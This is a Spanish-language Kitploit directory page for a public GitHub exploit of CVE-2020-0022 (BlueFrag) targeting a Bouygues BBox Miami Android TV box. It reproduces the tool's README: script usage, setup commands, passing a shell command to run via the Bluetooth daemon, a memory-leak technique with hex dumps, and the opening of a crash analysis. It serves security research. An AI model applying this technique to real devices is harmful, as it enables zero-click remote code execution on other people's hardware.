Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2020-0022 — Explotación de la vulnerabilidad CVE-2020-0022 en Bouygues BBox Miami (Android TV 8.0 - ARM32 Cortex A9) | Kitploit
Herramientas/GitHubGitHub/polo35/cve-2020-0022
Seguridad AndroidSeguridad BluetoothForensia de MemoriaExplotaciónShellcodeHerramienta de Acceso RemotoDesarrollo de PayloadsExplotación de Binarios
GitHubpolo35/cve-2020-0022

CVE-2020-0022

Explotación de la vulnerabilidad CVE-2020-0022 en Bouygues BBox Miami (Android TV 8.0 - ARM32 Cortex A9)

Ver Repositorio
371367hace 5 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

########################################################################################

CVE-2020-0022 explotación de vulnerabilidad en Bouygues BBox Miami Android TV 8.0 - ARM32 Cortex A9 Por Polo35 - 2020/08/24

########################################################################################

"Uso: python polo_exploit.py target_bt_mac [target_adb_ip, shell_command, disable_reboot, verbose]"

########################################################################################

Basado en scripts de Jan Ruge CVE-2020-0022 un RCE Bluetooth Zero-Click en Android 8.0-9.0 – BlueFrag https://insinuator.net/2020/04/cve-2020-0022-an-android-8-0-9-0-bluetooth-zero-click-rce-bluefrag/

########################################################################################

INTRODUCCIÓN Y CONSEJOS

########################################################################################

El script usa el módulo bluetooth de python para obtener el manejador de conexión ACL Por lo tanto, necesitas instalar las librerías bluetooth y pybluez (versión 0.22 para python2 y última versión para python3)

sudo apt-get update sudo apt-get install bluetooth bluez libbluetooth-dev sudo pip install pybluez

Puedes pasar un comando de shell al script como parámetro que se ejecutará con la función system por el demonio bluetooth Solo hay 104 caracteres disponibles para el comando de shell porque la cadena ROP ocupa los primeros 20 bytes del segundo payload

Ejemplo: shell_command = "cat /dev/zero | echo 'Target Exploited' > /sdcard/Download/cve-2020-0022-poc"

El script puede usar adb para verificar la conexión, inspeccionar logcat y reiniciar el objetivo cuando sea necesario Para esto debes pasar la ip del objetivo como parámetro Asegúrate de conectar el objetivo con adb connect y abrir un shell para verificar la conexión antes de usar el script

Los mejores resultados se obtienen conectando el objetivo vía bluetooth con un smartphone cuando el script lo indique ;) Puede tomar más de 30 intentos para disparar el exploit, pero a veces funciona al primer intento

########################################################################################

FUGA DE MEMORIA CON ARM32

########################################################################################

El Bouygues BBox Miami está basado en un procesador ARM32 Cortex A9 de 32 bytes La diferencia con ARM64 es que la función memcpy de libc no subdesborda, por lo que es imposible obtener las mismas fugas que Jan Ruge Pero la vulnerabilidad está presente y es explotable de otra manera

Al enviar paquetes l2cap con fragmentación de 4 bytes podemos disparar un memcpy de longitud 0 en reassemble_and_dispatch Esto permite obtener 4 bytes de datos no inicializados al final del eco

Aumentar la longitud del primer paquete (denominado más adelante mem_offset) permite "caminar" por la memoria no inicializada Obtener 32 ecos con el mismo mem_offset da de 2 a 8 ecos explotables Los ecos se repiten, por lo que no es necesario obtener más de 32 ecos con el mismo mem_offset Este método también llena la memoria con los paquetes, por lo que es fácil reconocer patrones y encontrar desplazamientos en las fugas

El mem_offset es la longitud del paquete l2cap en caracteres Ej: mem_offset 184 = paquete l2cap de 184 caracteres = paquete l2cap de 368 bytes

Ejemplo de "caminata" de memoria y datos no inicializados con repeticiones:

176: 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 ................................................................ 177: 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 ...........$...............................$.................... 178: 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 ..........$...............................$..................... 179: 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 .........$...............................$...................... 180: 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 ........$...............................$....................... 181: 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 ................................................................ 182: 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 ................................................................ 183: 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 ................................................................ 184: 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 ................................................................ 185: 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 ................................................................ 186: 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 ................................................................ 187: 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 ................................................................ 188: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 ................................................................

Podemos ver en mem_offset 180 y 184 algunas direcciones de memoria en little endian

a4ce80a3 da dirección 0xa380cea4 24d280a3 da dirección 0xa380d224 a4d580a3 da dirección 0xa380d5a4 9cce80a3 da dirección 0xa380ce9c 1cd280a3 da dirección 0xa380d21c 9cd580a3 da dirección 0xa380d59c

Hay al menos 4 o 5 mem_offset donde es posible encontrar direcciones de memoria reales después de casi cada reinicio Veremos más adelante cómo podemos usarlas

########################################################################################

ANÁLISIS DEL PRIMERO CRASH

########################################################################################

Al enviar paquetes l2cap con fragmentación de 2 bytes podemos disparar un memcpy de longitud -2 en reassemble_and_dispatch Esto permite desbordar fuera del paquete parcial con 30 bytes de datos controlados del segundo paquete Debido a los 30 bytes copiados no es necesario enviar paquetes más grandes de 32 bytes con los últimos 4 bytes a cero

Este método de desbordamiento a veces hace crash al demonio bluetooth con el registro R0 controlado en _Z11list_appendP6list_tPv+65:

Descargar herramienta